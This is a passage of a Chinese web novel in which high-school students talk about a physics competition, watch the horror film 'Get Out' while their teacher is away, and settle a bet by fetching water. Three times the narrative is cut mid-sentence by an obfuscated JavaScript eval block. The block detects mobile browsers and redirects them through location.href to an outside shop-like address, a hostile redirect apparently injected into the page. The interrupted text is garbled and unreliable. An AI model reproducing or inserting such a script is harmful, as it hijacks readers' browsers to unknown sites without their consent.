她低头看向陈恕,本来准备开口的周嘉先瞬间闭上了嘴,是他冒昧了…… 陈恕“嗯”了一声,“联赛在十月份下旬,会进行理论考试和实验考试。” 张期期哦了一声,她有点印象,上学期张扬好像找她说过,让她去参加五大学科的竞赛,但一来,她没什么兴趣,二来参加竞赛,周末需要上集训班,她周末还要上绘画培训课呢,没时间。 她转头看向周嘉先,“先哥,你也参加吗?” 问他啊……周嘉先点头,“对,我也参加。我和陈恕都过了九月份的初赛,现在就准备十月下旬的联赛,联赛会决出省一省二省三,省队考生参加决赛。决赛在十月底,会决出金、银、铜牌,前50人进入国家集训队。” 张期期、许兰亭这两人对此一点也不了解。 听着听着,张期期突然道:“嗯?九月份你们就过了初赛?我怎么不知道?” 周嘉先顿时一卡,露出一言难尽的神色。 陈恕抿了抿唇,“九月份……我还没来重点一班。” 张期期顿时长长地哦了一声,“不过,这样说的话,先哥你之前就认识陈恕了?” 周嘉先:…… 他回想起之前“生人勿近”般的陈恕,犹豫道:“算吧……在集体教室一起上集训课。”……而已,但没说过话,这也算认识……吧? 许兰亭无语了,陈恕刚来重点一班的时候,他们班的同学几乎是“自导自演”地上演了一出“自我介绍”般的见面会?欢迎会? “那你还……”他绘声绘色地学着当时周嘉先的模样,“我叫周嘉先,是一班的班长,我代表我们班的同学欢迎你,在班里有什么问题可以找我。” 张期期、林听以及想起当时那一幕的陈恕都笑了,周嘉先扯过草稿着拍在他的头上,“你学得挺像的,啊!” 周嘉先:“不过……我是认识陈恕,但陈恕他不一定认识我啊,所以我自我介绍也没问题吧。” 张期期、许兰亭、林齐刷刷地看向陈恕,张期期目露不可思议,“不会吧?你们都在一个大集体教室上集训课了,你不认识先哥?” 四双眼睛的注视下,陈恕尴尬地咳了咳,“我没注意……集训课,压力挺大的,没有心思关注别的。” □□:……你觉得我们信吗?年级第一的全科大佬说压力大?? 陈恕顿了顿,与他们几人渐渐熟悉,他偶尔也愿意说些自己的事情,“是真的。压力真的挺大的,五大学科的竞赛初赛,数学、化学、生物陆续在今年的4、5、6、8月份进行了,这几个我都错过了,信息学……我完全没有接触过,只剩下物理还来得及。” 陈恕说着,张期期几人才意识到,对哦,陈恕今年九月份才来的京照一中。 周嘉先点头,“难怪……我之前就觉得你数学更为擅长,我还奇怪你怎么不参加数学的竞赛。” 张期期笑着轻轻拍了拍陈恕的手背,“没关系,你物理也不错,有希望啊!” 陈恕微微垂下了眼眸,望着张期期秀气的指尖,他低声“嗯”。 ……其实他是没有多大把握的,因为物理联赛除了理论考试之外还有实验考试,实验考试是他的弱项。 实验……这样的东西是他在大山中无论看多少书都没有办法弥补过来的,集训班的老师也和他说了,他的成绩可能有点悬,今年最好是先去习惯习惯,摸下底,明年再参加会更合适。 许兰亭用力拍了拍桌子,“没错,有希望!我们都有光明的未来!” 张期期肯定道:“对!我们都有光明的未来。你们俩加油,我们都加油!” …… * 第三节课是化学课,重点一班的化学老师是个年轻人,所以从来都不拖堂。他将今天的作业布置下去后,就干脆利落地走出了教室。 教室外的天空雾蒙蒙,湿漉漉的雨雾带着冰凉的雨珠哗哗地下着,一副永不停歇的样子。 “哎……这雨还下呢!真和天气预报说的一样,这一周都是大暴雨强降雨天气啊……” “真烦,下节课是体育课,下雨了肯定是在教室内自习。” ……班里的同学愁眉苦脸地议论着,张期期咬着吸管杯边喝边听着,她撑着下巴,嘟嘟囔囔道:“我们学校又不是没有室内体育馆,下雨了……体育课也可以去室内体育馆上啊。” 林听回过头来,低声道:“是啊,但是学校就是不同意。” 从高一开始就是这样,只要下雨一律不许上体育课,必须待在教室里。 这时,许兰亭整个人反身坐在椅子上,他手臂压在陈恕的桌面上,压低声音,神神秘秘道:“其实啊……学校这么做是有原因的,而且还是惨痛、血淋淋的教训。” 少年故意压低声音,慢吞吞地讲着,雨雾天气又导致教室内的光线稍显昏暗,此刻他说到“血淋淋”的时候,不知道是谁刚好大打开了教室的后门,后门处顿时窜进一股凉气,吓得张期期、林听两人齐齐一颤,脸色发白。 张期期不满道:“你干嘛,好好讲话行不行?” 少女本就生着病,此刻被风一吹,脸色越发显得苍白。 正低头看着书本的陈恕抬眸,凉凉地盯着许兰亭看了几眼,他伸手将对方压在自己桌面上的手臂推下去,随后起身走过去将后门关上。 他坐回位置上,“不要随便吓人。” 许兰亭瞬间一怂,“好吧……其实学校这么做是因为曾经一中下雨天上体育课发生了事故,当时死了一个学生,所以这之后我们学校下雨天都不允许上体育课,就算是有室内体育馆也不行。” “我们学校还发生过这样的事?”张期期震惊。 林听同样瞪大双眼,“你怎么知道的?” “贴吧啊!贴吧上面什么都有。”许兰亭道。 ……昨晚他盯了一晚上的校花校草选举, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12812981|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏偏每一次点开链接观看票数都要重新登陆贴吧,他实在懒得一次次登陆了,而且家里他的电脑刚好坏掉了,手头只有手机可以看,所以他只好翻着贴吧的帖子一直往下刷,“下雨天体育课一中出大事了”也正是他昨晚刷到的帖子。 张期期、林听面面相觑,任谁知晓学校发生过这样的事情,内心都会有些不平静。 撑着下巴的周嘉先正欲开口缓解她们紧绷的情绪时,陈恕突然道:“别想了……事故虽然发生在京照一中,但不是我们现在的新校区,那是十几年前老校区的事情了。” “老校区……”张期期看向陈恕。 陈恕点头,“嗯。” 当年他的生活还没有发生翻天覆地的骤变时,年幼的他听家里附近的左邻右舍议论过,她们猜测一中之所以要重新选址,建立新校区,就是因为老校区发生了命案。 “许兰亭!!你又吓我!!”张期期生气道。 与此同时,一声怒喝从张期期的身后响起,“许兰亭你又搞什么?” 是班主任张扬! 恰在此时,第四节课的上课铃声响起…… 张扬狠狠地瞪了许兰亭一眼后,看向张期期,温声道:“病还没好?要……多注意身体啊。” ……他原本想说多喝点水的,但余光看到她搁在腿上的巨大水杯,顿时换了另外一种说法。 张期期乖巧状地点点头,“好的,老师,我知道了。” 张扬满意地点头,往讲台上走去,他双手撑在讲台桌面上,“体育课上不了你们也都知道?接下来这节课就由我来上。” 话音一落,全班哀嚎一声。 “不是吧?老师,体育课上不了就算了,我们可以自习啊!” “自习都不行了?老师,你占课。你居然光明正大占体育老师的课!” “……”教室里一时间嘈杂一片,重点一班的学生并没有意识到他们之所以能这么“抗议”,正是因为站在讲台上的是班主任张扬。 若是换成其他科目老师,他们顶多哀嚎一声就默默地打开课本等着上课了。 张扬拍了拍桌面,将他们的不满强力镇压下来,“安静!安静!” 教室里渐渐安静下来,张扬对着他们哼笑一声,“行了行了,这节课不上语文,我给你们放电影看,行吧?” “看电影——” “哇哦——” “张老师,威武——” “谢谢张老师——” 班级里再一次响起此起彼伏兴奋的嚎叫声,张扬神色一绷,手在半空做出压下来的动作,“小声点儿,要是给教导主任知道了,我会挨批的。” 重点一班的学生立刻安静下来,纷纷默契地做出“嘘”声的动作。 一群小崽子……张扬心中哼了哼,他快速地用钥匙打开多媒体教学讲台,给他们搜索着电影。 坐在走廊那一侧窗边的同学麻溜地起身,将窗帘刷的一下子拉上了;坐在最前面、最后面的同学起身摁掉了电灯的开关,整个教室瞬间暗淡下来……这才是学生时代在教室和全班同学一起看电影的氛围。 33. 第 33 章 - 窗外的雨淅淅沥沥地下着,灰蒙蒙的雾气弥漫在窗外,教室内同学们的心情却飞扬轻快。 张扬打开搜索引擎,嘴上边道:“看《风雨哈佛路》啊。”他又将黑板上方收起的幕布放下来。 这一连串的动作仿佛在重点一班同学的头上浇了一盆冷水,教室内安安静静的,大家面面相觑,但谁也没有多说一句话,生怕再有异议,到时候就真的得上语文课了。 ……《风雨哈佛路》好看,真的好看!但顶不住这一次是他们全班四刷这部电影了啊!班主任张扬这是暗戳戳地给他们打鸡血?? 教室内光线暗淡,一开始兴奋中的他们并没有意识到不靠近走廊的那一边后方泄露出窗外天空的光亮,但现在心中稍微有点不满的他们陆陆续续循着光线望过去…… 啧……谁啊!窗帘都不关! 陈恕眼神无措地呆滞在原地,那齐刷刷地拉窗帘、摁电灯开关在他眼里都是莫名其妙的事情,看电影吗……他从未经历过……新奇的事情。 张期期顺着旁人的目光下意识地望过去,窗边的陈恕浑身仿佛散发出茫然无措的僵硬感。 教室里又有人不满地啧了一声,她起身走到他的身边,身体微微向前俯伸,伸手将他那边的窗帘给拉上了……教室瞬间完全黑暗下来,只剩下窗帘的边缘处散发出微弱的光芒。 无人看到黑暗中,那浑身僵硬呆滞的少年顿时瞳孔扩大,全身忍不住地微微发抖。 教室就像一个昏暗的柜子内部,老旧的柜门因不再与柜子紧密结合而产生一条小小的缝隙,外界的光芒从缝隙中入侵,就像此刻窗帘的边缘散发出微弱的光芒。 这是他噩梦开始的地方。陈恕的呼吸微微急促起来,他瞪大着双眼仿佛看到了什么可怕的画面一样。 俯伸过去拉窗帘的张期期将坐着的陈恕整个人笼罩在她的身影下,他瞬间急促的呼吸引起了她的注意。 张期期一顿,站直身体,片刻后,她动了动,将自己的椅子拉了过来,就靠着陈恕的旁边坐了下去。 她就在他的身边……陈恕攥紧了手心,紧绷的情绪却稍微缓和了下来。 黑暗中,张期期轻声道:“陈恕,你是怕黑吗?” 如此之近……她的气息仿佛就萦绕在他的耳边,张期期又伸出指尖轻轻戳了戳他。 陈恕没有回答,他并不怕单纯的黑暗,他只是怕身旁的环境让他陷入当年那种绝望又满怀恐惧怨恨的情绪里。 他没有回答,意料之中,张期期心道,哪个男孩子愿意承认自己怕黑呢?就像许兰亭……他就不愿意承认他怕狗。 “没关系,我理解的。” 陈恕:?? 张期期想了想,伸手钻过陈恕身前和桌子之间的空档,指尖攥起一点点窗帘,试探着拉开一点点,她偏着头目光斜望着教室的前方。 窗帘的滑轮微动,她拉开了大约二十厘米的宽度,窗外的白光倾泻进来。 安静的教室里,有人不满地嘟嘟囔囔着,“干嘛呢?看电影还拉开窗帘?” “诶……”: “啧……干嘛啊?” 张期期一顿,攥着窗帘又轻轻扯了扯,窗帘的滑轮再一次微动,她将二十厘米的宽度试探着慢慢缩小,十八厘米,十五厘米…… 十厘米……终于,不满的“啧啧”声消失了,张期期这才将攥紧的窗帘一角放下,小声道,“陈恕……你好点儿了吗?” 她没有意识到,方才沉浸在拉窗帘中,因为她是侧身面向着陈恕的,所以她的下巴微微摩擦过他的肩膀,她的气息萦绕在他的脖子上。 微光中,少年的耳后一片绯红,他薄唇微启,“我没事。” - 这时,教室里突然响起了手机铃声,讲台上正俯着身的张扬一滞,他站起身拍了下额头……这节课原本是体育课,所以他忘记将手机设置成静音状态了。 “不好意思,同学们。老师听个电话。教导主任打过来的。”张扬一边说着,一边打开门往教室外走出去。 从开着的教室门望过去,张扬背对着他们,一边听着手机,一边不住地点头,“好好好,我知道了。我这就过去。” 他挂断了电话,走到教室门口,神色急切,“老师有点急事,得过去教导处一趟,《风雨哈佛路》我已经给你们搜索加载出来了,先……” 张扬差点喊成“先哥”,他连忙改口道:“班长…你上去按一下播放。” 临走前,他又强调道,“都安静点,知道吗?保持好班级纪律。” 重点一班的同学一个劲儿地点头,神色“乖巧”。 周嘉先起身道:“老师,您放心吧。” 张扬这才一步三回头地走了。 他的背影消失在众人眼中,无形之中,教室内慢慢一片寂静,随后又猛然爆发出一阵欢呼声。 生怕引起其他班级的注意,生怕让张老师真的挨批,周嘉先不得不走到讲台上,他扣了扣桌面,”小声点儿,张老师对咱们这么好,我们不能真给他惹事情。” 这句话非常有用,同学们的欢呼声慢慢降了下来,“是是是,咱们不能对不起老班。” …… “先哥,我们换一部电影看吧!” “是啊,《风雨哈佛路》我们都看了三回了,今天这是第四回。” “是啊是啊……” 周嘉先神色一噎,随后面色纠结,他也不想看第四次的《风雨哈佛路》。 许兰亭滴溜溜一个箭步跑了上去,他拍了拍周嘉先的肩膀,小声道,“先哥,不然看恐怖电影吧,《逃出绝命镇》听说还可以。” 周嘉先:…… 他露出匪夷所思的神色,“恐怖电影?不太合适吧。” 许兰亭:“怎么不合适?多解压啊!不会是……你不敢看吧?” 周嘉先无奈一笑,“你自己想看,激我干嘛?是真的不合适。” “太合适了,不信,问问我们班同学。”许兰亭道。 这时,教室里有同学皱起眉头,“不是……你们俩在上面嘀嘀咕咕说什么呢?别浪费时间啊。” “是啊是啊。” …… 许兰亭做出“嘘声”的动作,片刻后,他道:“我们看恐怖片行吗?看《逃出绝命镇》 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913192|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我看了豆瓣评分8.1,怎么样,大家敢不敢看?” 敢不敢看…… 不得不说,重点一班无论男女同学都是非常不愿意服输、服软的,“看啊,看就看,有什么不敢看的。” “恐怖片才解压呢!”雷婷道。 “你们女生也敢看?”蒋文神色担忧。 侯蕊白了他一眼,“好家伙,看个恐怖片,还分男女吗?” 她慢悠悠大声道,“等会儿啊……我们就看班里到底是男生还是女生先发出惊叫声的!” “好啊,赌就赌,男生要是输了的话,我给全班女生打水一周!”王思道。 侯蕊哼了一声,“我们输了的话,我给全班男生打水一周。” 林听顿了顿,想到她给自己投的票,她举手道,“我跟侯蕊一起打。” 张期期默默举起手,“俺也一样。” 侯蕊的两个好朋友异口同声道:“俺也一样。” …… 周嘉先:…… 班里怎么一瞬间就变成这样了呢……甚至还玩起了梗! 他抹了把脸,彻底摆烂了,“行,看吧。我来把电影加载出来。” 许兰亭站在讲台上伸手在嘴巴前做出“拉链”的动作,全班男生从顺如流地跟着给嘴巴拉上了“拉链”。 几分钟,电影加载出来了,“逃出绝命镇”几个大字投射在幕布上。 电影开始了,许兰亭、周嘉先勾肩搭背走下来,回到了自己的座位上。 黑暗中,重点一班的女生默默伸手捂住了自己的嘴巴。 电影开始了,寂静的深夜,一个小伙子行走在一处非常豪华高尚的住宅区,突然身后出现了一辆豪华轿车…… 重点一班的学生全神贯注,这是变态连环杀手案件吧……他们猜测着……这,不恐怖啊! 接着画风一转,一个绚烂、充满阳光的白天,一对情侣在打情骂俏,男方准备去见女方的家长了…… 重点一班的学生:……??? 你管这叫恐怖片?这不是爱情片吗?该不是披着恐怖片的皮子上演真爱大作战吧?他们向许兰亭投去了质疑的目光。 林听同样有点懵,许兰亭小声对她道,“这部片子前面设置悬疑,后面惊悚。” 林听微微点头,张期期此时坐在陈恕的身旁,她捂着嘴,也听到了许兰亭的话,做好了后面恐怖的心理准备。 影片渐入佳境,“见家长”进行得非常顺利、和谐,女方的父母对男人赞不绝口,他们甚至进行了社区聚餐活动,然而…… ……这电影上的小孩怎么神经兮兮的,这女仆怎么神情这么诡异,妈呀,怎么还有大半夜在狂飙的伐木工…… 重点一班的同学情绪开始慢慢紧绷起来,张期期坐在椅子上身体开始一抖一抖的,却一直记得紧紧捂住自己的嘴巴。 教室内响起了一阵又一阵的吸气声,却硬是没有一个人尖叫出声。 陈恕看着身旁抖如筛糠的张期期,他低声道:“这好像不是鬼片,没有鬼的……” 他的话还没有说完,教室内顿时响起一声惊恐万分的尖叫…… 34. 第 34 章 - 这一声惊恐万分的尖叫就像是开关一样,将重点一班学生情绪的阀门给打开了,教室内响起了此起彼伏的惊恐呼喊。 张期期一把揪住了陈恕的手臂抱在身前,尖叫声被她压在喉咙里,她紧紧地扣住他的手臂。 陈恕浑身一僵,只觉得自己的手臂好像密密麻麻地开始发痒。 约莫半分钟后,重点一班的同学缓过神来,“是谁,刚才最开始那一声是谁喊的?” 班级里的男生在黑暗中面面相觑,不是自己喊的啊,好像也不是自己身边人喊的,但是……那声音听起来蛮耳熟的…… 侯蕊哼了一声,“我虽然不知道是谁喊的,但那声音肯定不是我们班的女生。” 雷婷:“对,我听着是个男声……不过,这声音有点耳熟啊!” 嗯……就是耳熟…… 众人默默点头,他们也这么觉得,这声音好像天天都在听…… 啊,天天都听? 天天都听!! 不会吧?不是吧?不是他们想的那样吧?教室内顿时凌乱起来。 陈恕顿了顿,他在声音一喊出来的时候,就知道是谁了…… 他刷地一下子拉开了窗帘,窗外的光芒瞬间倾泻着涌入教室内,教室前排的学生顿时看清了教室前门口处抱头蹲着一个中年男人。 这中年男人……就是“化成灰”(呸呸呸)他们都认识啊! 完蛋了,玩大发了…… 教室后排的学生见前排的学生仿佛看见了什么“人生所不能承受之痛”似的,纷纷痛苦地捂住了自己的脸,他们狐疑着站起来,往教室门口一看。 靠! 后排的学生顿时刷地一下子又坐下了。 没有站起来的张期期:? “这是怎么了?”她疑惑地低声道。 陈恕露出一言难尽的神色,小声道,“刚才的尖叫声是张老师喊的。” 这突发情况只延续了短短几分钟的时间,当教室内明亮起来时,张扬摸着教室门缓慢耳艰难地站了起来。 他的手指虚虚指着重点一班的学生,指尖不停地颤抖着……真是太、太过分了! 几分钟前……张扬处理完教导主任告诉他的突发情况之后就悄悄地回来了,他轻轻地推开教室门,打开一小条门缝,挤身走了进去。 当时班里的学生一个个全神贯注地看着幕布,他以为他们受到了《风雨哈佛路》的鼓励,陷入了沉思,在思考自己将来的道路。 张扬靠在门口,心中甚是满意,没有一个人能逃过《风雨哈佛路》的鸡汤,随后他下意识地望向了幕布…… 幕布上放大着一个女人诡异而疯狂的笑容时,张扬脑子里瞬间拉响起了警报,他尖叫一声抱住头蹲下去,后背顺势将开了一点点的门给顶了回去。 “谁、谁叫你们看《逃出绝命镇》的,啊!!谁!” 张扬几乎要疯了,他这辈子最害怕看悬疑、惊悚、恐怖片,唯一看过的恰好就是《逃出绝命镇》。 当时他们年级组开展教学研究活动结束后,一群人被组内年轻的老师拉着一起去“团建”看电影,《逃出绝命镇》就是他这辈子唯一看过的悬疑恐怖片,电影中女方家庭成员诡异的表情给他留下了深刻的心里阴影。 他没想到这辈子居然还能再看见这一幕! 张扬哆哆嗦嗦着,像个刚学会走路的小孩子一样走到讲台上,他一下子关掉了电影。 张扬:“把所有窗帘都拉开,灯打开!” 意识到班主任张扬真的生气了的同学顿时像鹌鸠一样,低垂着头,乖乖地拉开窗帘,打开电灯…… “好啊你们,小小年纪都学会阳奉阴违了啊!班长!周嘉先……给我站起来!”张扬率先向他发难。 周嘉先心中长叹一声,默默站起来。 许兰亭见状,也跟着站起来,“老师,是我怂恿先哥看惊悚片的,你要罚就罚我吧,我一人做事一人当。我……” “你闭嘴。等会儿我再削你。”张扬瞪着他道。 与此同时,林听默默举起了手,张扬一看,脸色更不好了,“林听,怎么了?难道你也怂恿班长了?” 林听从顺如流地站起来,“老师,你看过《逃出绝命镇》吗?” 张扬顿了顿,还是道:“看过。” “老师,这部电影我虽然还没有看到结束,但我猜它不仅仅是一部惊悚片吧,应该还有更深的意义,比如种族|歧视,比如贵族和贫民阶层不可调和的矛盾……我觉得它很有现实意义。” 林听微微垂眸,平静地讲着,但张扬却突然愣了愣,林听说得并没有错,《逃出绝命镇》确实不仅仅是一部悬疑惊悚片。 他一下子联想到林听的家庭情况,父母双亡,和奶奶相依为命,难道……这部电影引起了她的神伤。 张扬脑子里再一次响起警报,林听的语气虽然平淡,但他觉得硬是从中自我感觉出一丝丝的落寞。 这可不行!!这关乎学生的心理健康,对世界的看法……要慎重慎重!他心道。 他又想到这部影片最终是好的结局,便硬着头皮道,“是挺有现实意义的,结局……结局是好的。” 林听抬眸,有点惊喜,“结局是好的?” “对!我想了想,这部电影还是不错的,我给你们继续播放吧。”张扬突然道。 啊?? 重点一班的学生突然一懵,张老师居然还给他们继续看,他不生气了?? 他们望向林听,不明白到底发生了什么事,怎么林听夸了夸这部剧,张老师就给他们继续看了? 想不明白,但能继续看下去,就是一件好事,众人又开心起来,他们刚刚才看到高|潮部分呢! 既然打算让学生们继续看下去,张扬也就不追究周嘉先和许兰亭了,“你们俩坐下吧,下不为例。” 周嘉先、许兰亭灰溜溜地坐下了。 张扬重新点击播放,他尴尬地咳了一声,道:“前后门关上,还有走廊那边的窗帘拉上就行。” 教室内还剩另外一边的窗户没有关上,灯光也大亮着,教室内光亮光亮的,这就驱逐了他内心的恐惧。 张扬坐在他的“宝座”上,背对着幕布,“保持安静、继续看吧。” 电影再一次播放起来,许兰亭左手取起,微微挡住自己的脸,他小声道:“林听…张老师怎么突然就放过我和先哥了?” 林听侧首,看了他一眼,微笑道:“你自己想。”说完,她回头撑着下巴继续看电影。 这事儿似乎就这么轻轻地揭过去了,陈恕这才将张期期当时蠢蠢欲动的手松开…… “张老师生着气,你要是也跟着举手,那就是火上浇油了。”陈恕低声道。 张期期皱皱眉头,“那我总不能让他们单独受罚吧,我们可是朋友啊。” 陈恕垂下眼眸,“现在他们没受罚了。你放心吧。” 张期期点点头,她眼眸中的担忧散去,反而添上了疑惑,“陈恕……你说为什么张老师突然就……不生气了?嗯……甚至好像看起来有点焦虑的样子……” 陈恕抿了抿唇,“我也不知道。” ……其实他心知肚明,虽然他对林听并没有太多的了解,他也不会去过问别人的家庭情况,只是像他这样的人,完全能从一个人的精神面貌中大概猜测出林听的家庭条件或许比之他也好不了多少。 而他们的班主任张扬是一个非常爱护学生、时时将学生放在心上的老师,学生的情绪甚至比他本人的心情还要重要。 张扬担心林听因为看了电影,对电影中位于弱势的受害者感同身受,再由此“触景伤情”。 陈恕余光瞥了一眼林听……不得不说,林听是一个非常冷静聪明的女生。 当电影结束之后,重点一班的同学几乎露出了意犹未尽的神情,在电影的后半部分,他们才醍醐灌顶,意识到这部电影在谈论种族|歧视、阶层迫害,是真的具有现实意义。 张扬起身将播完了的电影关掉,他站在讲台前,神色严肃,“有句话叫富贵不能淫、贫贱不能移,威武不能屈,希望你们现在还是将来,无论处于什么样的人生阶段,做事做人都要无愧于心。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915786|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“还有,老师希望此时觉得自己处于人生低谷的同学们也不要气馁,你们能进京照一中重点班,就足以证明你们绝对够优秀,现在你们才十几岁,未来是有无限可能的,老师相信你们都有光明的未来,所以不要气馁啊!同学们。” …… 林听听着,微微攥紧了自己的手心,她从没有气馁过,她想要的未来她都在慢慢规划。 这次……林听心底有些愧疚,对不起,张老师。 陈恕:果然……张老师真的是一个很好很好的老师。 * 午休结束的铃声响起后,王思拿出从小卖部薅来的大塑料袋走到教室第一列第一排的位置,这个位置是顾佳熹的位置,“佳熹,水杯拿来,我给你打水。” 顾佳熹愣了一下,“为……为什么啊?” 王思:“上午打赌我们输了啊。” 顾佳熹:“啊?不用了……吧。”上午第一个发出尖叫声的不是班主任张老师吗? 王思直接道:“愿赌服输。” 他指着桌面上的杯子道,“这个杯子是你的吧?”说着,他伸手欲拿水杯。 顾佳熹眼疾手快地夺过杯子,“真不用了。”她打开水杯的盖子给王思看,水杯里满满都是水,几乎一口都没喝呢。 王思神色一噎,出师不利,“好吧……真遗憾,你要多喝点水啊!” 顾佳熹:…… - 这才下课没几分钟,重点一班的学生都还坐在教室里,王思和顾佳熹的说话声引起了众人的注意,他们纷纷想起上午的打赌。 侯蕊眉眼一扬,虽然她确实想要女生赢,但…… 她道:“喊出第一声尖叫的不是我们班的男生,我们女生可不想占你们的便宜。” 教室里的女生纷纷点头附和,“是啊,我们没赢,你们也没输。” 王思笑了,“张老师难道不算我们班的男生吗?” 侯蕊:…… 许兰亭拍了拍桌子,“张老师就是我们班男生的一份子,我们愿赌服输。” 教室内其他的男生也和声道,“我们愿赌服输。” 侯蕊:“……那随便你们吧。我的水杯刚好没水了,谢了。” 许兰亭笑道,“小意思。” 他起身顺手将林听的水杯拿上,又经过侯蕊的位置,将她的水杯也拿上,走到王思的身边,“我们一起。” 王思拍了拍他的肩膀,“好兄弟!” 许兰亭低头看着他手中的超大塑料袋,“你……这是干嘛呢?” 王思小声耳语道:“接水处比较远,我们班女生比男生还多,我一个人只有两只手,拿不了几个水杯,所以……找了个韧性超强的大袋子,等会儿水杯全部放进去,我们接完水再全部装进去,拎回来。” 王思说着,露出得意的神色。 许兰亭眼神一亮,“好主意。” 两人默契地顺着座位的排列找女生一个个讨要她们的水杯,等绕了教室一圈之后,两人手中的超韧大塑料袋已经完全装满了。 他们将水杯拎到了接水处,此时接水处排了八个人的队伍。 王思看了一眼沉重的塑料袋,满打满算至少得有二十个水杯,“任重而道远”啊,他赶紧排上了队伍。 许兰亭、王思排上后没过一会儿,后边又排上了几个同学。 “不是吧……他们俩拎着这么多水杯,上课之前肯定轮不到我们了。我们先回去吧,下节课再来。” “干嘛啊,我们干嘛要回去,他们什么意思啊?” “……” 许兰亭刚好站在他们的身前,哪怕身后的两个男生已经压低了声音,但他还是听到了。 他神色尴尬,将身前站着的王思扯出了队伍,他回头和对方道:“不好意思,你们先、你们先。” 两人拎着一大袋的水杯站在接水处的不远处,王思:“现在怎么办?” 许兰亭:“把这袋子放地上先,拎久了还挺重。” 王思:……行吧。 两人排排蹲蹲在地上,旁边放着一大袋的水杯。 35. 第 35 章 - 好在接水处排着的那一队人都接完水了,也没有其他人来排队,许兰亭和王思两人连忙拎着水杯过去。 接水处一共有三个接水口,二十多个水杯只需要接7、8次就行。 距离下午第一节课上课时间还有五六分钟,他们拎着接了水之后更加沉重的塑料袋回到了教室。 此时,教室内只坐了约莫一半的同学,其他人估摸着是去上厕所或者出去溜达溜达透透气了…… 教室门口,许兰亭脚步顿时一滞,他望向王思,不确定道:“等等,这么多水杯,你知道哪个水杯是哪个同学的吗?” 王思:……“这我怎么知道?” “我知道。” 许兰亭和王思的身后传来一句语气平淡的话,他们蓦然转身。 许兰亭惊讶:“陈恕……” 陈恕“嗯”了一声,“进去吧,我知道认得这些水杯。” 许兰亭、王思显得有些震惊,怎么有人会关注班上的女生分别用的什么水杯呢! 两人愣愣地拿出一个瓶身是大红色的保温杯,陈恕看了一眼,“第三列第二排,张心的。” 这话一落,许兰亭、王思都有些愣,陈恕要是说这是张心的杯子,他们还要在脑海里反应一下,张心现在坐哪儿,毕竟全班才换座位没多久,然而现在人家陈恕直接坐标都给他们点明了。 两人面面相觑,这是不是有些逆天了啊…… 王思心道:……不可能,绝不可能,他这就去问问张心。 “张心,你的杯子?” 正偷偷看着课外书的张心吓了一跳,抬眸看着递到眼底的红色保温瓶,她笑了笑,接过后说了声谢谢。 王思:……还真是啊…… 许兰亭又拿出一个白色的水杯,白色保温瓶……这可是大众款。 陈恕看了一眼,“第六列第一排黄薇薇的。” 黄微微接过水杯,“谢谢”。 许兰亭、王思:…… 几次下来之后,他们终于承认了,好吧……原来学神的记忆力是这么的逆天啊!很快,大塑料袋就空了,即便是水杯的主人没有在教室里,他们也将水杯准确无误地放回了人家的桌面上。 班里的男生见此,有人便道,“下一节课,我和我同桌去给女生们打水,不能一整周都让你们俩打,我们都是重一班的男生。” 他的同桌附和道,“是啊!” 许兰亭想了想,下节课估计没多少女生需要打水了,这次是午休结束,上午女生们的水都喝完了的原因,于是他便道:“也行,谢谢你们了。” “客气啥啊……只不过……”他说着说着有些犹豫,“只不过,我没办法像陈恕一样分清全班女生的水杯,我……” 陈恕淡声道:“到时候我和你们一起去。” 由此,陈恕成为全班男生一整周的打水挂件,专门给他们辨别水杯的主人是谁,他也慢慢融入了重点一班,当然这都是后话了。 * 窗外一声闷雷响起,连绵了一天的微雨突然升级为大暴雨的状态,天空中的乌云漫布,沉甸甸地,仿佛预备一下子压下来。 放学铃声霎时响起,生物老师收起教案,叮嘱了他们几声“放学回家路上注意安全”之后便走出了教室。 坐在窗边的学生站起来,往窗外望出去,“我去……不是吧?积水了,楼下积水了。” “不可能吧,这才暴雨多久啊,我们学校排水这么差的吗?” “……你也不想想,今天都下了一天的雨了。” “……” 张期期将书包收拾好之后,伸手摸了摸自己的额头,片刻后,她终于松了口气,还好还好……温度已经正常了。 此时,她听到同学们说学校一楼积水,犹豫几息后轻轻碰了碰还在收拾书包的林听道,“林听,学校一楼积水了,而且外面大暴雨,要不……今天你把自行车放学校,等会儿你上我家的车,我让李叔先送你回去……” 林听闻言,欣然答应了,“好啊!谢谢期期。雨这么大,我有点担心家里的奶奶,坐汽车会快一点。” 上一次她拒绝是因为当时她和期期关系还算一般,但现在……她想要和对方当朋友,自然不会过多地拒绝对方的好意。 张期期提着的心落到了肚子里,她还未开口,一旁的许兰亭便道:“期期,我今天也要蹭你的车了,我家车在来接我的路上熄火了,哎……这雨实在太大了。” 张期期投去了怀疑的目光,在盯着许兰亭看了几眼后,她点点头道,“好。” 